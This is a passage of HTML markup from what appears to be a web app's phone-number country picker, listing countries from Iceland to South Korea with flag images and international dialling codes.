                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ee-1f1f8.png" class="emoji opacity-transition slow shown open" alt="🇮🇸" data-path="countries/1f1ee-1f1f8.png" draggable="false"></span><span class="country-name">Iceland</span><span class="country-code">+354</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ee-1f1f3.png" class="emoji opacity-transition slow shown open" alt="🇮🇳" data-path="countries/1f1ee-1f1f3.png" draggable="false"></span><span class="country-name">India</span><span class="country-code">+91</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ee-1f1e9.png" class="emoji opacity-transition slow shown open" alt="🇮🇩" data-path="countries/1f1ee-1f1e9.png" draggable="false"></span><span class="country-name">Indonesia</span><span class="country-code">+62</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ee-1f1f7.png" class="emoji opacity-transition slow shown open" alt="🇮🇷" data-path="countries/1f1ee-1f1f7.png" draggable="false"></span><span class="country-name">Iran</span><span class="country-code">+98</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ee-1f1f6.png" class="emoji opacity-transition slow shown open" alt="🇮🇶" data-path="countries/1f1ee-1f1f6.png" draggable="false"></span><span class="country-name">Iraq</span><span class="country-code">+964</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ee-1f1ea.png" class="emoji opacity-transition slow shown open" alt="🇮🇪" data-path="countries/1f1ee-1f1ea.png" draggable="false"></span><span class="country-name">Ireland</span><span class="country-code">+353</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ee-1f1f1.png" class="emoji opacity-transition slow shown open" alt="🇮🇱" data-path="countries/1f1ee-1f1f1.png" draggable="false"></span><span class="country-name">Israel</span><span class="country-code">+972</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ee-1f1f9.png" class="emoji opacity-transition slow shown open" alt="🇮🇹" data-path="countries/1f1ee-1f1f9.png" draggable="false"></span><span class="country-name">Italy</span><span class="country-code">+39</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ef-1f1f2.png" class="emoji opacity-transition slow shown open" alt="🇯🇲" data-path="countries/1f1ef-1f1f2.png" draggable="false"></span><span class="country-name">Jamaica</span><span class="country-code">+1876</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ef-1f1f5.png" class="emoji opacity-transition slow shown open" alt="🇯🇵" data-path="countries/1f1ef-1f1f5.png" draggable="false"></span><span class="country-name">Japan</span><span class="country-code">+81</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ef-1f1f4.png" class="emoji opacity-transition slow shown open" alt="🇯🇴" data-path="countries/1f1ef-1f1f4.png" draggable="false"></span><span class="country-name">Jordan</span><span class="country-code">+962</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f0-1f1ff.png" class="emoji opacity-transition slow shown open" alt="🇰🇿" data-path="countries/1f1f0-1f1ff.png" draggable="false"></span><span class="country-name">Kazakhstan</span><span class="country-code">+7</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f0-1f1ea.png" class="emoji opacity-transition slow shown open" alt="🇰🇪" data-path="countries/1f1f0-1f1ea.png" draggable="false"></span><span class="country-name">Kenya</span><span class="country-code">+254</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f0-1f1ee.png" class="emoji opacity-transition slow shown open" alt="🇰🇮" data-path="countries/1f1f0-1f1ee.png" draggable="false"></span><span class="country-name">Kiribati</span><span class="country-code">+686</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1fd-1f1f0.png" class="emoji opacity-transition slow shown open" alt="🇽🇰" data-path="countries/1f1fd-1f1f0.png" draggable="false"></span><span class="country-name">Kosovo</span><span class="country-code">+383</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f0-1f1fc.png" class="emoji opacity-transition slow shown open" alt="🇰🇼" data-path="countries/1f1f0-1f1fc.png" draggable="false"></span><span class="country-name">Kuwait</span><span class="country-code">+965</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f0-1f1ec.png" class="emoji opacity-transition slow shown open" alt="🇰🇬" data-path="countries/1f1f0-1f1ec.png" draggable="false"></span><span class="country-name">Kyrgyzstan</span><span class="country-code">+996</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f1-1f1e6.png" class="emoji opacity-transition slow shown open" alt="🇱🇦" data-path="countries/1f1f1-1f1e6.png" draggable="false"></span><span class="country-name">Laos</span><span class="country-code">+856</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f1-1f1fb.png" class="emoji opacity-transition slow shown open" alt="🇱🇻" data-path="countries/1f1f1-1f1fb.png" draggable="false"></span><span class="country-name">Latvia</span><span class="country-code">+371</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f1-1f1e7.png" class="emoji opacity-transition slow shown open" alt="🇱🇧" data-path="countries/1f1f1-1f1e7.png" draggable="false"></span><span class="country-name">Lebanon</span><span class="country-code">+961</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f1-1f1f8.png" class="emoji opacity-transition slow shown open" alt="🇱🇸" data-path="countries/1f1f1-1f1f8.png" draggable="false"></span><span class="country-name">Lesotho</span><span class="country-code">+266</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f1-1f1f7.png" class="emoji opacity-transition slow shown open" alt="🇱🇷" data-path="countries/1f1f1-1f1f7.png" draggable="false"></span><span class="country-name">Liberia</span><span class="country-code">+231</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f1-1f1fe.png" class="emoji opacity-transition slow shown open" alt="🇱🇾" data-path="countries/1f1f1-1f1fe.png" draggable="false"></span><span class="country-name">Libya</span><span class="country-code">+218</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f1-1f1ee.png" class="emoji opacity-transition slow shown open" alt="🇱🇮" data-path="countries/1f1f1-1f1ee.png" draggable="false"></span><span class="country-name">Liechtenstein</span><span class="country-code">+423</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f1-1f1f9.png" class="emoji opacity-transition slow shown open" alt="🇱🇹" data-path="countries/1f1f1-1f1f9.png" draggable="false"></span><span class="country-name">Lithuania</span><span class="country-code">+370</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f1-1f1fa.png" class="emoji opacity-transition slow shown open" alt="🇱🇺" data-path="countries/1f1f1-1f1fa.png" draggable="false"></span><span class="country-name">Luxembourg</span><span class="country-code">+352</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1f4.png" class="emoji opacity-transition slow shown open" alt="🇲🇴" data-path="countries/1f1f2-1f1f4.png" draggable="false"></span><span class="country-name">Macau</span><span class="country-code">+853</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1ec.png" class="emoji opacity-transition slow shown open" alt="🇲🇬" data-path="countries/1f1f2-1f1ec.png" draggable="false"></span><span class="country-name">Madagascar</span><span class="country-code">+261</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1fc.png" class="emoji opacity-transition slow shown open" alt="🇲🇼" data-path="countries/1f1f2-1f1fc.png" draggable="false"></span><span class="country-name">Malawi</span><span class="country-code">+265</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1fe.png" class="emoji opacity-transition slow shown open" alt="🇲🇾" data-path="countries/1f1f2-1f1fe.png" draggable="false"></span><span class="country-name">Malaysia</span><span class="country-code">+60</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1fb.png" class="emoji opacity-transition slow shown open" alt="🇲🇻" data-path="countries/1f1f2-1f1fb.png" draggable="false"></span><span class="country-name">Maldives</span><span class="country-code">+960</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1f1.png" class="emoji opacity-transition slow shown open" alt="🇲🇱" data-path="countries/1f1f2-1f1f1.png" draggable="false"></span><span class="country-name">Mali</span><span class="country-code">+223</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1f9.png" class="emoji opacity-transition slow shown open" alt="🇲🇹" data-path="countries/1f1f2-1f1f9.png" draggable="false"></span><span class="country-name">Malta</span><span class="country-code">+356</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1ed.png" class="emoji opacity-transition slow shown open" alt="🇲🇭" data-path="countries/1f1f2-1f1ed.png" draggable="false"></span><span class="country-name">Marshall Islands</span><span class="country-code">+692</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1f6.png" class="emoji opacity-transition slow shown open" alt="🇲🇶" data-path="countries/1f1f2-1f1f6.png" draggable="false"></span><span class="country-name">Martinique</span><span class="country-code">+596</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1f7.png" class="emoji opacity-transition slow shown open" alt="🇲🇷" data-path="countries/1f1f2-1f1f7.png" draggable="false"></span><span class="country-name">Mauritania</span><span class="country-code">+222</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1fa.png" class="emoji opacity-transition slow shown open" alt="🇲🇺" data-path="countries/1f1f2-1f1fa.png" draggable="false"></span><span class="country-name">Mauritius</span><span class="country-code">+230</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1fd.png" class="emoji opacity-transition slow shown open" alt="🇲🇽" data-path="countries/1f1f2-1f1fd.png" draggable="false"></span><span class="country-name">Mexico</span><span class="country-code">+52</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1eb-1f1f2.png" class="emoji opacity-transition slow shown open" alt="🇫🇲" data-path="countries/1f1eb-1f1f2.png" draggable="false"></span><span class="country-name">Micronesia</span><span class="country-code">+691</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1e9.png" class="emoji opacity-transition slow shown open" alt="🇲🇩" data-path="countries/1f1f2-1f1e9.png" draggable="false"></span><span class="country-name">Moldova</span><span class="country-code">+373</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1e8.png" class="emoji opacity-transition slow shown open" alt="🇲🇨" data-path="countries/1f1f2-1f1e8.png" draggable="false"></span><span class="country-name">Monaco</span><span class="country-code">+377</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1f3.png" class="emoji opacity-transition slow shown open" alt="🇲🇳" data-path="countries/1f1f2-1f1f3.png" draggable="false"></span><span class="country-name">Mongolia</span><span class="country-code">+976</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1ea.png" class="emoji opacity-transition slow shown open" alt="🇲🇪" data-path="countries/1f1f2-1f1ea.png" draggable="false"></span><span class="country-name">Montenegro</span><span class="country-code">+382</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1f8.png" class="emoji opacity-transition slow shown open" alt="🇲🇸" data-path="countries/1f1f2-1f1f8.png" draggable="false"></span><span class="country-name">Montserrat</span><span class="country-code">+1664</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1e6.png" class="emoji opacity-transition slow shown open" alt="🇲🇦" data-path="countries/1f1f2-1f1e6.png" draggable="false"></span><span class="country-name">Morocco</span><span class="country-code">+212</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1ff.png" class="emoji opacity-transition slow shown open" alt="🇲🇿" data-path="countries/1f1f2-1f1ff.png" draggable="false"></span><span class="country-name">Mozambique</span><span class="country-code">+258</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1f2.png" class="emoji opacity-transition slow shown open" alt="🇲🇲" data-path="countries/1f1f2-1f1f2.png" draggable="false"></span><span class="country-name">Myanmar</span><span class="country-code">+95</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f3-1f1e6.png" class="emoji opacity-transition slow shown open" alt="🇳🇦" data-path="countries/1f1f3-1f1e6.png" draggable="false"></span><span class="country-name">Namibia</span><span class="country-code">+264</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f3-1f1f7.png" class="emoji opacity-transition slow shown open" alt="🇳🇷" data-path="countries/1f1f3-1f1f7.png" draggable="false"></span><span class="country-name">Nauru</span><span class="country-code">+674</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f3-1f1f5.png" class="emoji opacity-transition slow shown open" alt="🇳🇵" data-path="countries/1f1f3-1f1f5.png" draggable="false"></span><span class="country-name">Nepal</span><span class="country-code">+977</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f3-1f1f1.png" class="emoji opacity-transition slow shown open" alt="🇳🇱" data-path="countries/1f1f3-1f1f1.png" draggable="false"></span><span class="country-name">Netherlands</span><span class="country-code">+31</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f3-1f1e8.png" class="emoji opacity-transition slow shown open" alt="🇳🇨" data-path="countries/1f1f3-1f1e8.png" draggable="false"></span><span class="country-name">New Caledonia</span><span class="country-code">+687</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f3-1f1ff.png" class="emoji opacity-transition slow shown open" alt="🇳🇿" data-path="countries/1f1f3-1f1ff.png" draggable="false"></span><span class="country-name">New Zealand</span><span class="country-code">+64</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f3-1f1ee.png" class="emoji opacity-transition slow shown open" alt="🇳🇮" data-path="countries/1f1f3-1f1ee.png" draggable="false"></span><span class="country-name">Nicaragua</span><span class="country-code">+505</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f3-1f1ea.png" class="emoji opacity-transition slow shown open" alt="🇳🇪" data-path="countries/1f1f3-1f1ea.png" draggable="false"></span><span class="country-name">Niger</span><span class="country-code">+227</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f3-1f1ec.png" class="emoji opacity-transition slow shown open" alt="🇳🇬" data-path="countries/1f1f3-1f1ec.png" draggable="false"></span><span class="country-name">Nigeria</span><span class="country-code">+234</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f3-1f1fa.png" class="emoji opacity-transition slow shown open" alt="🇳🇺" data-path="countries/1f1f3-1f1fa.png" draggable="false"></span><span class="country-name">Niue</span><span class="country-code">+683</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f3-1f1eb.png" class="emoji opacity-transition slow shown open" alt="🇳🇫" data-path="countries/1f1f3-1f1eb.png" draggable="false"></span><span class="country-name">Norfolk Island</span><span class="country-code">+672</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f0-1f1f5.png" class="emoji opacity-transition slow shown open" alt="🇰🇵" data-path="countries/1f1f0-1f1f5.png" draggable="false"></span><span class="country-name">North Korea</span><span class="country-code">+850</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1f0.png" class="emoji opacity-transition slow shown open" alt="🇲🇰" data-path="countries/1f1f2-1f1f0.png" draggable="false"></span><span class="country-name">North Macedonia</span><span class="country-code">+389</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f2-1f1f5.png" class="emoji opacity-transition slow shown open" alt="🇲🇵" data-path="countries/1f1f2-1f1f5.png" draggable="false"></span><span class="country-name">Northern Mariana Islands</span><span class="country-code">+1670</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f3-1f1f4.png" class="emoji opacity-transition slow shown open" alt="🇳🇴" data-path="countries/1f1f3-1f1f4.png" draggable="false"></span><span class="country-name">Norway</span><span class="country-code">+47</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f4-1f1f2.png" class="emoji opacity-transition slow shown open" alt="🇴🇲" data-path="countries/1f1f4-1f1f2.png" draggable="false"></span><span class="country-name">Oman</span><span class="country-code">+968</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f5-1f1f0.png" class="emoji opacity-transition slow shown open" alt="🇵🇰" data-path="countries/1f1f5-1f1f0.png" draggable="false"></span><span class="country-name">Pakistan</span><span class="country-code">+92</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f5-1f1fc.png" class="emoji opacity-transition slow shown open" alt="🇵🇼" data-path="countries/1f1f5-1f1fc.png" draggable="false"></span><span class="country-name">Palau</span><span class="country-code">+680</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f5-1f1f8.png" class="emoji opacity-transition slow shown open" alt="🇵🇸" data-path="countries/1f1f5-1f1f8.png" draggable="false"></span><span class="country-name">Palestine</span><span class="country-code">+970</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f5-1f1e6.png" class="emoji opacity-transition slow shown open" alt="🇵🇦" data-path="countries/1f1f5-1f1e6.png" draggable="false"></span><span class="country-name">Panama</span><span class="country-code">+507</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f5-1f1ec.png" class="emoji opacity-transition slow shown open" alt="🇵🇬" data-path="countries/1f1f5-1f1ec.png" draggable="false"></span><span class="country-name">Papua New Guinea</span><span class="country-code">+675</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f5-1f1fe.png" class="emoji opacity-transition slow shown open" alt="🇵🇾" data-path="countries/1f1f5-1f1fe.png" draggable="false"></span><span class="country-name">Paraguay</span><span class="country-code">+595</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f5-1f1ea.png" class="emoji opacity-transition slow shown open" alt="🇵🇪" data-path="countries/1f1f5-1f1ea.png" draggable="false"></span><span class="country-name">Peru</span><span class="country-code">+51</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f5-1f1ed.png" class="emoji opacity-transition slow shown open" alt="🇵🇭" data-path="countries/1f1f5-1f1ed.png" draggable="false"></span><span class="country-name">Philippines</span><span class="country-code">+63</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f5-1f1f1.png" class="emoji opacity-transition slow shown open" alt="🇵🇱" data-path="countries/1f1f5-1f1f1.png" draggable="false"></span><span class="country-name">Poland</span><span class="country-code">+48</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f5-1f1f9.png" class="emoji opacity-transition slow shown open" alt="🇵🇹" data-path="countries/1f1f5-1f1f9.png" draggable="false"></span><span class="country-name">Portugal</span><span class="country-code">+351</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f5-1f1f7.png" class="emoji opacity-transition slow shown open" alt="🇵🇷" data-path="countries/1f1f5-1f1f7.png" draggable="false"></span><span class="country-name">Puerto Rico</span><span class="country-code">+1787</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f5-1f1f7.png" class="emoji opacity-transition slow shown open" alt="🇵🇷" data-path="countries/1f1f5-1f1f7.png" draggable="false"></span><span class="country-name">Puerto Rico</span><span class="country-code">+1939</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f6-1f1e6.png" class="emoji opacity-transition slow shown open" alt="🇶🇦" data-path="countries/1f1f6-1f1e6.png" draggable="false"></span><span class="country-name">Qatar</span><span class="country-code">+974</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f7-1f1ea.png" class="emoji opacity-transition slow shown open" alt="🇷🇪" data-path="countries/1f1f7-1f1ea.png" draggable="false"></span><span class="country-name">Réunion</span><span class="country-code">+262</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f7-1f1f4.png" class="emoji opacity-transition slow shown open" alt="🇷🇴" data-path="countries/1f1f7-1f1f4.png" draggable="false"></span><span class="country-name">Romania</span><span class="country-code">+40</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f7-1f1fa.png" class="emoji opacity-transition slow shown open" alt="🇷🇺" data-path="countries/1f1f7-1f1fa.png" draggable="false"></span><span class="country-name">Russian Federation</span><span class="country-code">+7</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f7-1f1fc.png" class="emoji opacity-transition slow shown open" alt="🇷🇼" data-path="countries/1f1f7-1f1fc.png" draggable="false"></span><span class="country-name">Rwanda</span><span class="country-code">+250</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1ed.png" class="emoji opacity-transition slow shown open" alt="🇸🇭" data-path="countries/1f1f8-1f1ed.png" draggable="false"></span><span class="country-name">Saint Helena</span><span class="country-code">+247</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1ed.png" class="emoji opacity-transition slow shown open" alt="🇸🇭" data-path="countries/1f1f8-1f1ed.png" draggable="false"></span><span class="country-name">Saint Helena</span><span class="country-code">+290</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f0-1f1f3.png" class="emoji opacity-transition slow shown open" alt="🇰🇳" data-path="countries/1f1f0-1f1f3.png" draggable="false"></span><span class="country-name">Saint Kitts &amp; Nevis</span><span class="country-code">+1869</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f1-1f1e8.png" class="emoji opacity-transition slow shown open" alt="🇱🇨" data-path="countries/1f1f1-1f1e8.png" draggable="false"></span><span class="country-name">Saint Lucia</span><span class="country-code">+1758</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f5-1f1f2.png" class="emoji opacity-transition slow shown open" alt="🇵🇲" data-path="countries/1f1f5-1f1f2.png" draggable="false"></span><span class="country-name">Saint Pierre &amp; Miquelon</span><span class="country-code">+508</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1fb-1f1e8.png" class="emoji opacity-transition slow shown open" alt="🇻🇨" data-path="countries/1f1fb-1f1e8.png" draggable="false"></span><span class="country-name">Saint Vincent &amp; the Grenadines</span><span class="country-code">+1784</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1fc-1f1f8.png" class="emoji opacity-transition slow shown open" alt="🇼🇸" data-path="countries/1f1fc-1f1f8.png" draggable="false"></span><span class="country-name">Samoa</span><span class="country-code">+685</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1f2.png" class="emoji opacity-transition slow shown open" alt="🇸🇲" data-path="countries/1f1f8-1f1f2.png" draggable="false"></span><span class="country-name">San Marino</span><span class="country-code">+378</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1f9.png" class="emoji opacity-transition slow shown open" alt="🇸🇹" data-path="countries/1f1f8-1f1f9.png" draggable="false"></span><span class="country-name">São Tomé &amp; Príncipe</span><span class="country-code">+239</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1e6.png" class="emoji opacity-transition slow shown open" alt="🇸🇦" data-path="countries/1f1f8-1f1e6.png" draggable="false"></span><span class="country-name">Saudi Arabia</span><span class="country-code">+966</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1f3.png" class="emoji opacity-transition slow shown open" alt="🇸🇳" data-path="countries/1f1f8-1f1f3.png" draggable="false"></span><span class="country-name">Senegal</span><span class="country-code">+221</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f7-1f1f8.png" class="emoji opacity-transition slow shown open" alt="🇷🇸" data-path="countries/1f1f7-1f1f8.png" draggable="false"></span><span class="country-name">Serbia</span><span class="country-code">+381</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1e8.png" class="emoji opacity-transition slow shown open" alt="🇸🇨" data-path="countries/1f1f8-1f1e8.png" draggable="false"></span><span class="country-name">Seychelles</span><span class="country-code">+248</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1f1.png" class="emoji opacity-transition slow shown open" alt="🇸🇱" data-path="countries/1f1f8-1f1f1.png" draggable="false"></span><span class="country-name">Sierra Leone</span><span class="country-code">+232</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1ec.png" class="emoji opacity-transition slow shown open" alt="🇸🇬" data-path="countries/1f1f8-1f1ec.png" draggable="false"></span><span class="country-name">Singapore</span><span class="country-code">+65</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1fd.png" class="emoji opacity-transition slow shown open" alt="🇸🇽" data-path="countries/1f1f8-1f1fd.png" draggable="false"></span><span class="country-name">Sint Maarten</span><span class="country-code">+1721</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1f0.png" class="emoji opacity-transition slow shown open" alt="🇸🇰" data-path="countries/1f1f8-1f1f0.png" draggable="false"></span><span class="country-name">Slovakia</span><span class="country-code">+421</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1ee.png" class="emoji opacity-transition slow shown open" alt="🇸🇮" data-path="countries/1f1f8-1f1ee.png" draggable="false"></span><span class="country-name">Slovenia</span><span class="country-code">+386</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1e7.png" class="emoji opacity-transition slow shown open" alt="🇸🇧" data-path="countries/1f1f8-1f1e7.png" draggable="false"></span><span class="country-name">Solomon Islands</span><span class="country-code">+677</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1f4.png" class="emoji opacity-transition slow shown open" alt="🇸🇴" data-path="countries/1f1f8-1f1f4.png" draggable="false"></span><span class="country-name">Somalia</span><span class="country-code">+252</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ff-1f1e6.png" class="emoji opacity-transition slow shown open" alt="🇿🇦" data-path="countries/1f1ff-1f1e6.png" draggable="false"></span><span class="country-name">South Africa</span><span class="country-code">+27</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f0-1f1f7.png" class="emoji opacity-transition slow shown open" alt="🇰🇷" data-path="countries/1f1f0-1f1f7.png" draggable="false"></span><span class="country-name">South Korea</span><span class="country-code">+82</span></div>
